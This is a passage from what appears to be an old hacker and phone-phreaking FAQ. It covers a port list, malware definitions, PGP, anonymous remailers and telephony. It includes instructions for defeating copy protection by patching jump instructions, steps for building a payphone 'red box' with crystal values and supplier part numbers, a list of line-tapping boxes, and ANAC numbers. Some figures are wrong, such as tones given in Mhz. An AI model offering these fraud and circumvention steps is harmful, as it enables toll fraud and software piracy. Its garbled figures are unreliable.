z39.50          210/tcp    ANSI Z39.50
z39.50          210/udp    ANSI Z39.50
914c/g          211/tcp    Texas Instruments 914C/G Terminal
914c/g          211/udp    Texas Instruments 914C/G Terminal
anet            212/tcp    ATEXSSTR
anet            212/udp    ATEXSSTR
ipx             213/tcp    IPX
ipx             213/udp    IPX
vmpwscs         214/tcp    VM PWSCS
vmpwscs         214/udp    VM PWSCS
softpc          215/tcp    Insignia Solutions
softpc          215/udp    Insignia Solutions
atls            216/tcp    Access Technology License Server
atls            216/udp    Access Technology License Server
dbase           217/tcp    dBASE Unix
dbase           217/udp    dBASE Unix
mpp             218/tcp    Netix Message Posting Protocol
mpp             218/udp    Netix Message Posting Protocol
uarps           219/tcp    Unisys ARPs
uarps           219/udp    Unisys ARPs
imap3           220/tcp    Interactive Mail Access Protocol v3
imap3           220/udp    Interactive Mail Access Protocol v3
fln-spx         221/tcp    Berkeley rlogind with SPX auth
fln-spx         221/udp    Berkeley rlogind with SPX auth
fsh-spx         222/tcp    Berkeley rshd with SPX auth
fsh-spx         222/udp    Berkeley rshd with SPX auth
cdc             223/tcp    Certificate Distribution Center
cdc             223/udp    Certificate Distribution Center
                224-241    Reserved
sur-meas        243/tcp    Survey Measurement
sur-meas        243/udp    Survey Measurement
link            245/tcp    LINK
link            245/udp    LINK
dsp3270         246/tcp    Display Systems Protocol
dsp3270         246/udp    Display Systems Protocol
                247-255    Reserved
pawserv         345/tcp    Perf Analysis Workbench
pawserv         345/udp    Perf Analysis Workbench
zserv           346/tcp    Zebra server
zserv           346/udp    Zebra server
fatserv         347/tcp    Fatmen Server
fatserv         347/udp    Fatmen Server
clearcase       371/tcp    Clearcase
clearcase       371/udp    Clearcase
ulistserv       372/tcp    Unix Listserv
ulistserv       372/udp    Unix Listserv
legent-1        373/tcp    Legent Corporation
legent-1        373/udp    Legent Corporation
legent-2        374/tcp    Legent Corporation
legent-2        374/udp    Legent Corporation
exec            512/tcp    remote process execution;
                           authentication performed using
                           passwords and UNIX login names
biff            512/udp    used by mail system to notify users
                           of new mail received; currently
                           receives messages only from
                           processes on the same machine
login           513/tcp    remote login a la telnet;
                           automatic authentication performed
                           based on priviledged port numbers
                           and distributed data bases which
                           identify "authentication domains"
who             513/udp    maintains data bases showing who's
                           logged in to machines on a local
                           net and the load average of the
                           machine
cmd             514/tcp    like exec, but automatic
                           authentication is performed as for
                           login server
syslog          514/udp
printer         515/tcp    spooler
printer         515/udp    spooler
talk            517/tcp    like tenex link, but across
                           machine - unfortunately, doesn't
                           use link protocol (this is actually
                           just a rendezvous port from which a
                           tcp connection is established)
talk            517/udp    like tenex link, but across
                           machine - unfortunately, doesn't
                           use link protocol (this is actually
                           just a rendezvous port from which a
                           tcp connection is established)
ntalk           518/tcp
ntalk           518/udp
utime           519/tcp    unixtime
utime           519/udp    unixtime
efs             520/tcp    extended file name server
router          520/udp    local routing process (on site);
                           uses variant of Xerox NS routing
                           information protocol
timed           525/tcp    timeserver
timed           525/udp    timeserver
tempo           526/tcp    newdate
tempo           526/udp    newdate
courier         530/tcp    rpc
courier         530/udp    rpc
conference      531/tcp    chat
conference      531/udp    chat
netnews         532/tcp    readnews
netnews         532/udp    readnews
netwall         533/tcp    for emergency broadcasts
netwall         533/udp    for emergency broadcasts
uucp            540/tcp    uucpd
uucp            540/udp    uucpd
klogin          543/tcp
klogin          543/udp
kshell          544/tcp    krcmd
kshell          544/udp    krcmd
new-rwho        550/tcp    new-who
new-rwho        550/udp    new-who
dsf             555/tcp
dsf             555/udp
remotefs        556/tcp    rfs server
remotefs        556/udp    rfs server
rmonitor        560/tcp    rmonitord
rmonitor        560/udp    rmonitord
monitor         561/tcp
monitor         561/udp
chshell         562/tcp    chcmd
chshell         562/udp    chcmd
9pfs            564/tcp    plan 9 file service
9pfs            564/udp    plan 9 file service
whoami          565/tcp    whoami
whoami          565/udp    whoami
meter           570/tcp    demon
meter           570/udp    demon
meter           571/tcp    udemon
meter           571/udp    udemon
ipcserver       600/tcp    Sun IPC server
ipcserver       600/udp    Sun IPC server
nqs             607/tcp    nqs
nqs             607/udp    nqs
mdqs            666/tcp
mdqs            666/udp
elcsd           704/tcp    errlog copy/server daemon
elcsd           704/udp    errlog copy/server daemon
netcp           740/tcp    NETscout Control Protocol
netcp           740/udp    NETscout Control Protocol
netgw           741/tcp    netGW
netgw           741/udp    netGW
netrcs          742/tcp    Network based Rev. Cont. Sys.
netrcs          742/udp    Network based Rev. Cont. Sys.
flexlm          744/tcp    Flexible License Manager
flexlm          744/udp    Flexible License Manager
fujitsu-dev     747/tcp    Fujitsu Device Control
fujitsu-dev     747/udp    Fujitsu Device Control
ris-cm          748/tcp    Russell Info Sci Calendar Manager
ris-cm          748/udp    Russell Info Sci Calendar Manager
kerberos-adm    749/tcp    kerberos administration
kerberos-adm    749/udp    kerberos administration
rfile           750/tcp
loadav          750/udp
pump            751/tcp
pump            751/udp
qrh             752/tcp
qrh             752/udp
rrh             753/tcp
rrh             753/udp
tell            754/tcp     send
tell            754/udp     send
nlogin          758/tcp
nlogin          758/udp
con             759/tcp
con             759/udp
ns              760/tcp
ns              760/udp
rxe             761/tcp
rxe             761/udp
quotad          762/tcp
quotad          762/udp
cycleserv       763/tcp
cycleserv       763/udp
omserv          764/tcp
omserv          764/udp
webster         765/tcp
webster         765/udp
phonebook       767/tcp    phone
phonebook       767/udp    phone
vid             769/tcp
vid             769/udp
cadlock         770/tcp
cadlock         770/udp
rtip            771/tcp
rtip            771/udp
cycleserv2      772/tcp
cycleserv2      772/udp
submit          773/tcp
notify          773/udp
rpasswd         774/tcp
acmaint_dbd     774/udp
entomb          775/tcp
acmaint_transd  775/udp
wpages          776/tcp
wpages          776/udp
wpgs            780/tcp
wpgs            780/udp
hp-collector    781/tcp        hp performance data collector
hp-collector    781/udp        hp performance data collector
hp-managed-node 782/tcp        hp performance data managed node
hp-managed-node 782/udp        hp performance data managed node
hp-alarm-mgr    783/tcp        hp performance data alarm manager
hp-alarm-mgr    783/udp        hp performance data alarm manager
mdbs_daemon     800/tcp
mdbs_daemon     800/udp
device          801/tcp
device          801/udp
xtreelic        996/tcp        XTREE License Server
xtreelic        996/udp        XTREE License Server
maitrd          997/tcp
maitrd          997/udp
busboy          998/tcp
puparp          998/udp
garcon          999/tcp
applix          999/udp        Applix ac
puprouter       999/tcp
puprouter       999/udp
cadlock         1000/tcp
ock             1000/udp
blackjack       1025/tcp   network blackjack
blackjack       1025/udp   network blackjack
hermes          1248/tcp
hermes          1248/udp
bbn-mmc         1347/tcp   multi media conferencing
bbn-mmc         1347/udp   multi media conferencing
bbn-mmx         1348/tcp   multi media conferencing
bbn-mmx         1348/udp   multi media conferencing
sbook           1349/tcp   Registration Network Protocol
sbook           1349/udp   Registration Network Protocol
editbench       1350/tcp   Registration Network Protocol
editbench       1350/udp   Registration Network Protocol
equationbuilder 1351/tcp   Digital Tool Works (MIT)
equationbuilder 1351/udp   Digital Tool Works (MIT)
lotusnote       1352/tcp   Lotus Note
lotusnote       1352/udp   Lotus Note
ingreslock      1524/tcp   ingres
ingreslock      1524/udp   ingres
orasrv          1525/tcp   oracle
orasrv          1525/udp   oracle
prospero-np     1525/tcp   prospero non-privileged
prospero-np     1525/udp   prospero non-privileged
tlisrv          1527/tcp   oracle
tlisrv          1527/udp   oracle
coauthor        1529/tcp   oracle
coauthor        1529/udp   oracle
issd            1600/tcp
issd            1600/udp
nkd             1650/tcp
nkd             1650/udp
callbook        2000/tcp
callbook        2000/udp
dc              2001/tcp
wizard          2001/udp    curry
globe           2002/tcp
globe           2002/udp
mailbox         2004/tcp
emce            2004/udp    CCWS mm conf
berknet         2005/tcp
oracle          2005/udp
invokator       2006/tcp
raid-cc         2006/udp    raid
dectalk         2007/tcp
raid-am         2007/udp
conf            2008/tcp
terminaldb      2008/udp
news            2009/tcp
whosockami      2009/udp
search          2010/tcp
pipe_server     2010/udp
raid-cc         2011/tcp    raid
servserv        2011/udp
ttyinfo         2012/tcp
raid-ac         2012/udp
raid-am         2013/tcp
raid-cd         2013/udp
troff           2014/tcp
raid-sf         2014/udp
cypress         2015/tcp
raid-cs         2015/udp
bootserver      2016/tcp
bootserver      2016/udp
cypress-stat    2017/tcp
bootclient      2017/udp
terminaldb      2018/tcp
rellpack        2018/udp
whosockami      2019/tcp
about           2019/udp
xinupageserver  2020/tcp
xinupageserver  2020/udp
servexec        2021/tcp
xinuexpansion1  2021/udp
down            2022/tcp
xinuexpansion2  2022/udp
xinuexpansion3  2023/tcp
xinuexpansion3  2023/udp
xinuexpansion4  2024/tcp
xinuexpansion4  2024/udp
ellpack         2025/tcp
xribs           2025/udp
scrabble        2026/tcp
scrabble        2026/udp
shadowserver    2027/tcp
shadowserver    2027/udp
submitserver    2028/tcp
submitserver    2028/udp
device2         2030/tcp
device2         2030/udp
blackboard      2032/tcp
blackboard      2032/udp
glogger         2033/tcp
glogger         2033/udp
scoremgr        2034/tcp
scoremgr        2034/udp
imsldoc         2035/tcp
imsldoc         2035/udp
objectmanager   2038/tcp
objectmanager   2038/udp
lam             2040/tcp
lam             2040/udp
interbase       2041/tcp
interbase       2041/udp
isis            2042/tcp
isis            2042/udp
isis-bcast      2043/tcp
isis-bcast      2043/udp
rimsl           2044/tcp
rimsl           2044/udp
cdfunc          2045/tcp
cdfunc          2045/udp
sdfunc          2046/tcp
sdfunc          2046/udp
dls             2047/tcp
dls             2047/udp
dls-monitor     2048/tcp
dls-monitor     2048/udp
shilp           2049/tcp
shilp           2049/udp
www-dev         2784/tcp   world wide web - development
www-dev         2784/udp   world wide web - development
NSWS            3049/tcp
NSWS            3049/ddddp
rfa             4672/tcp   remote file access server
rfa             4672/udp   remote file access server
commplex-main   5000/tcp
commplex-main   5000/udp
commplex-link   5001/tcp
commplex-link   5001/udp
rfe             5002/tcp   radio free ethernet
rfe             5002/udp   radio free ethernet
rmonitor_secure 5145/tcp
rmonitor_secure 5145/udp
padl2sim        5236/tcp
padl2sim        5236/udp
sub-process     6111/tcp   HP SoftBench Sub-Process Control
sub-process     6111/udp   HP SoftBench Sub-Process Control
xdsxdm          6558/udp
xdsxdm          6558/tcp
afs3-fileserver 7000/tcp   file server itself
afs3-fileserver 7000/udp   file server itself
afs3-callback   7001/tcp   callbacks to cache managers
afs3-callback   7001/udp   callbacks to cache managers
afs3-prserver   7002/tcp   users & groups database
afs3-prserver   7002/udp   users & groups database
afs3-vlserver   7003/tcp   volume location database
afs3-vlserver   7003/udp   volume location database
afs3-kaserver   7004/tcp   AFS/Kerberos authentication service
afs3-kaserver   7004/udp   AFS/Kerberos authentication service
afs3-volser     7005/tcp   volume managment server
afs3-volser     7005/udp   volume managment server
afs3-errors     7006/tcp   error interpretation service
afs3-errors     7006/udp   error interpretation service
afs3-bos        7007/tcp   basic overseer process
afs3-bos        7007/udp   basic overseer process
afs3-update     7008/tcp   server-to-server updater
afs3-update     7008/udp   server-to-server updater
afs3-rmtsys     7009/tcp   remote cache manager service
afs3-rmtsys     7009/udp   remote cache manager service
man             9535/tcp
man             9535/udp
isode-dua       17007/tcp
isode-dua       17007/udp


23. What is a trojan/worm/virus/logic bomb?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

Trojan:     An independent program that appears to perform a useful
            function but that hides another unauthorized program
            inside it.  When an authorized user performs the apparent
            function, the trojan horse performs the unauthorized
            function as well (often usurping the privileges of the
            user).

Virus:      A code fragment (not an independent program) that
            reproduces by attaching to another program.  It may damage
            data directly, or it may degrade system performance by
            taking over system resources which are then not available
            to authorized users.

Worm:       An independent program that reproduces by copying itself
            from one system to another, usually over a network.  Like
            a virus, a worm may damage data directly, or it may
            degrade system performance by tying up system resources and
            even shutting down a network.

Logic Bomb: A method for releasing a system attack of some kind.  It
            is triggered when a particular condition (e.g., a certain
            date or system operation) occurs.


24. How can I protect myself from virii and such?

Always write protect your floppy disks when you are not purposefully
writing to them.

Use ATTRIB to make all of your EXE and COM files read only.  This will
protect you from many poorly written viruses.

Scan any software that you receive with a recent copy of a good virus
scanner.  The best virus scanner currently available for DOS is F-Prot
by Fridrik Skulason.  The current version is FP-215.  It is best to
use more than one virus scanner.  That will decrease your chances of
missing a virus.

Backup regularly, and keep several generations of backups on hand.
If you always backup over your last backup, you may find yourself with
an infected backup tape.


25. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.


26. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations.  PGP is public key cryptography for the
masses.


27. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.

Computers and other electronic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until
you space them apart.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project
a target was working on.  We could sit in a van outside her office and
use sensitive electronic equipment to attempt to pick up and decipher
the emanations from her video monitor.

Our competitor, however, could shield the emanations from her
equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.


28. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site.  Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer.  No one reading the post will know your real account
name or host name.  If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.


29. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus.  To obtain an anonymous ID, mail
[e-mail].  For assistance is obtaining an anonymous account
at penet, mail [e-mail].

To see a list on anonymous remailers, finger
[e-mail].


30. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It
also requires some knowledge of assembly language.  Load the protected
program under the debugger and watch for it to check the protection
mechanism.  When it does, change that portion of the code.  The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).  Or the code may simply be replaced with
NOP (No Operation) instructions.


31. What is 127.0.0.1?

127.0.0.1 is a loopback network connection.  If you telnet, ftp, etc...
to it you are connected to your own machine.




Section B: Telephony
~~~~~~~~~~~~~~~~~~~~

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System).  Red boxes work by fooling
ACTS into believing you have actually put money into the phone.  The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call.  The actual
tones are:

Nickel Signal      1700+2200  0.060s on
Dime Signal        1700+2200  0.060s on, 0.060s off, twice repeating
Quarter Signal     1700+2200  33ms on, 33ms off, 5 times repeating


02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal with a new one.
The purpose of the new crystal is to cause the * button on your tone
dialer to create a 1700Mhz and 2200Mhz tone instead of the original
941Mhz and 1209Mhz tones.  The exact value of the replacement crystal
should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to
create a perfect 2200mhz tone. A crystal close to those values will
create a tone that easily falls within the loose tolerances of ACTS.
The most popular choice is the 6.5536Mhz crystal, because it is the
eaiest to procure.  The old crystal is the large shiny metal component
labeled "3.579545Mhz."  When you are finished replacing the crystal,
program the P1 button with five *'s.  That will simulate a quarter
tone each time you press P1.


03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store.  Radio Shack sells them,
but they are overpriced and the store must order them in.  This takes
approximately two weeks.  In addition, many Radio Shack employees do
not know that this can be done.

Or, you could order the crystal mail order.  This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal.  It's best to get several people together to share the
S&H cost.  Or, buy five or six yourself and sell them later.  Some of
the places you can order crystals are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(80)344-4539
Part Number:X415-ND    /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
[phone]
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
[phone]
Part Number: 10068625


04. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone.  ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS.  On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.


05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls.  To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx.  This
makes your call a long distance call, and brings ACTS into the
picture.

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach.  The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents."  When this
happens, you can then use ACTS tones.


06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling.  The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.


07. Do Blue Boxes still work?

Blue Boxes still work in areas using in band signalling.  Modern phone
switches use out of band signalling.  Nothing you send over the voice
portion of bandwidth can control the switch.


08. What is a Black Box?

A Black Box is a 1.8k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone.  People who call you will then not be billed
for the telephone call.  Black boxes do not work under ESS.


09. What do all the colored boxes do?

Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
         Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
         placed
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every fone out in the immediate area
Blue         Emulate a true operator by seizing a trunk with a 2600hz
         tone
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a diverter
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp use to make free
         calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Divertor     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Trace calls, tell if the call is being traced, and can
         change a trace
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
         quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
         electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
         tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com          /pub/va/vandal                  (DnA)
ftp.winternet.com       /users/craigb                   (H/P)


10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.


11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it.  If that fails, try the
common numbers like 311, 958 and 200-222-2222.  If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city.  The geographic naming on the list is not intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling.  Many of these require
navigating a series of menus to get the phone number you are looking
for.

[phone]   A voice mail system
[phone]   A phone sex line
[phone]   Info Access Telephone Company's Automated Blocking Line
[phone]   A phone sex line
[phone]   (800)MY-ANI-IS
[phone]   Duke Power Company Automated Outage System

An non-800 ANAC that works nationwide is 404-988-9664.  The one catch
with this number is that it must be dialed with the AT&T Carrier
Access Code 10732.

Another non-800 nationwide ANAC is Glen Robert of Full Disclosure
Magazine's number, 10555-1-708-356-9646.

Please use local ANAC numbers if you can, as abuse or overuse kills
800 ANAC numbers.


NPA  ANAC number      Comments
---  ---------------  ---------------------------------------------
201  958              Hackensack/Jersey City/Newark/Paterson, NJ
202  811              District of Columbia
203  960              CT (All)
203  970              CT (All)
205  908-222-2222     Birmingham, AL
206  411              WA (Not US West)
207  958              ME (All)
209  830-2121         Stockton, CA
209  211-9779         Stockton, CA
212  958              Manhattan, NY
213  114              Los Angeles, CA
213  1223             Los Angeles, CA (Some 1AESS switches)
213  211-2345         Los Angeles, CA (English response)
213  211-2346         Los Angeles, CA (DTMF response)
213  61056            Los Angeles, CA
214  570              Dallas, TX
214  790              Dallas, TX (GTE)
214  970-222-2222     Dallas, TX
214  970-611-1111     Dallas, TX (Southwestern Bell)
215  410-xxxx         Philadelphia, PA
215  511              Philadelphia, PA
215  958              Philadelphia, PA
217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
219  550              Gary/Hammond/Michigan City/Southbend, IN
219  559              Gary/Hammond/Michigan City/Southbend, IN
301  958-9968         Hagerstown/Rockville, MD
305  200-222-2222     Ft. Lauderdale/Key West/Miami, FL
309  200-xxx-xxxx     Peoria/Rock Island, IL
310  114              Long Beach, CA (On many GTE switches)
310  1223             Long Beach, CA (Some 1AESS switches)
310  211-2345         Long Beach, CA (English response)
310  211-2346         Long Beach, CA (DTMF response)
312  200              Chicago, IL
312  290              Chicago, IL
312  1-200-8825       Chicago, IL (Last four change rapidly)
312  1-200-555-1212   Chicago, IL
313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
314  410-xxxx#        Columbia/Jefferson City/St.Louis, MO
315  953              Syracuse/Utica, NY
315  958              Syracuse/Utica, NY
315  998              Syracuse/Utica, NY
317  310-222-2222     Indianapolis/Kokomo, IN
317  743-1218         Indianapolis/Kokomo, IN
401  200-200-4444     RI (All)
401  222-2222         RI (All)
402  311              Lincoln, NE
404  311              Atlanta, GA
404  940-xxx-xxxx     Atlanta, GA
404  990              Atlanta, GA
405  890-7777777      Enid/Oklahoma City, OK
405  897              Enid/Oklahoma City, OK
407  200-222-2222     Orlando/West Palm Beach, FL
408  300-xxx-xxxx     San Jose, CA
408  760              San Jose, CA
408  940              San Jose, CA
409  951              Beaumont/Galveston, TX
409  970-xxxx         Beaumont/Galveston, TX
410  200-6969         Annapolis/Baltimore, MD
410  200-555-1212     Annapolis/Baltimore, MD
410  811              Annapolis/Baltimore, MD
412  711-6633         Pittsburgh, PA
412  711-4411         Pittsburgh, PA
412  999-xxxx         Pittsburgh, PA
413  958              Pittsfield/Springfield, MA
413  200-555-5555     Pittsfield/Springfield, MA
414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  200-555-1212     San Francisco, CA
415  211-2111         San Francisco, CA
415  2222             San Francisco, CA
415  640              San Francisco, CA
415  760-2878         San Francisco, CA
415  7600-2222        San Francisco, CA
419  311              Toledo, OH
502  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY
502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
503  611              Portland, OR
503  999              Portland, OR (GTE)
504  99882233         Baton Rouge/New Orleans, LA
504  201-269-1111     Baton Rouge/New Orleans, LA
504  998              Baton Rouge/New Orleans, LA
504  99851-0000000000 Baton Rouge/New Orleans, LA
508  958              Fall River/New Bedford/Worchester, MA
508  200-222-1234     Fall River/New Bedford/Worchester, MA
508  200-222-2222     Fall River/New Bedford/Worchester, MA
508  26011            Fall River/New Bedford/Worchester, MA
509  560              Spokane/Walla Walla/Yakima, WA
512  830              Austin/Corpus Christi, TX
512  970-xxxx         Austin/Corpus Christi, TX
515  5463             Des Moines, IA
515  811              Des Moines, IA
516  958              Hempstead/Long Island, NY
516  968              Hempstead/Long Island, NY
517  200-222-2222     Bay City/Jackson/Lansing, MI
517  200200200200200  Bay City/Jackson/Lansing, MI
518  997              Albany/Schenectady/Troy, NY
518  998              Albany/Schenectady/Troy, NY
602  593-0809         Phoenix, AZ
602  593-6017         Phoenix, AZ
602  593-7451         Phoenix, AZ
603  200-222-2222     NH (All)
606  997-555-1212     Ashland/Winchester, KY
606  711              Ashland/Winchester, KY
607  993              Binghamton/Elmira, NY
609  958              Atlantic City/Camden/Trenton/Vineland, NJ
610  958              Allentown/Reading, PA
612  511              Minneapolis/St.Paul, MN
615  200200200200200  Chatanooga/Knoxville/Nashville, TN
615  2002222222       Chatanooga/Knoxville/Nashville, TN
615  830              Nashville, TN
616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
617  200-222-1234     Boston, MA
617  200-222-2222     Boston, MA
617  200-444-4444     Boston, MA (Woburn, MA)
617  220-2622         Boston, MA
617  958              Boston, MA
618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
618  930              Alton/Cairo/Mt.Vernon, IL
703  811              Alexandria/Arlington/Roanoke, VA
708  1-200-555-1212   Chicago/Elgin, IL
708  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)
708  356-9646         Chicago/Elgin, IL
713  970-xxxx         Houston, TX
714  114              Anaheim, CA (GTE)
714  211-2121         Anaheim, CA (PacBell)
714  211-2222         Anaheim, CA (Pacbell)
716  511              Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717  958              Harrisburg/Scranton/Wilkes-Barre, PA
718  958              Bronx/Brooklyn/Queens/Staten Island, NY
802  2-222-222-2222   Vermont (All)
802  200-222-2222     Vermont (All)
805  211-2345         Bakersfield/Santa Barbara, CA
805  211-2346         Bakersfield/Santa Barbara, CA (Returns DTMF)
805  830              Bakersfield/Santa Barbara, CA
806  970-xxxx         Amarillo/Lubbock, TX
810  200200200200200  Flint/Pontiac/Southfield/Troy, MI
812  410-555-1212     Evansville, IN
813  311              Ft. Meyers/St. Petersburg/Tampa, FL
815  200-xxx-xxxx     La Salle/Rockford, IL
815  290              La Salle/Rockford, IL
817  211              Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX  (Southwestern Bell)
818  1223             Pasadena, CA (Some 1AESS switches)
818  211-2345         Pasadena, CA (English response)
818  211-2346         Pasadena, CA (DTMF response)
906  1-200-222-2222   Marquette/Sault Ste. Marie, MI
908  958              New Brunswick, NJ
910  200              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910  311              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910  988              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915  970-xxxx         Abilene/El Paso, TX
919  200              Durham, NC
919  711              Durham, NC

Canada:
204  644-xxxx         Manitoba
306  115              Saskatchewan, Canada
403  311              Alberta, Yukon and N.W. Territory
403  908-222-2222     Alberta, Yukon and N.W. Territory
403  999              Alberta, Yukon and N.W. Territory
416  997-xxxx         Toronto, Ontario
514  320-xxxx         Montreal, Quebec
519  320-xxxx         London, Ontario
604  1116             British Columbia, Canada
604  1211             British Columbia, Canada
604  211              British Columbia, Canada
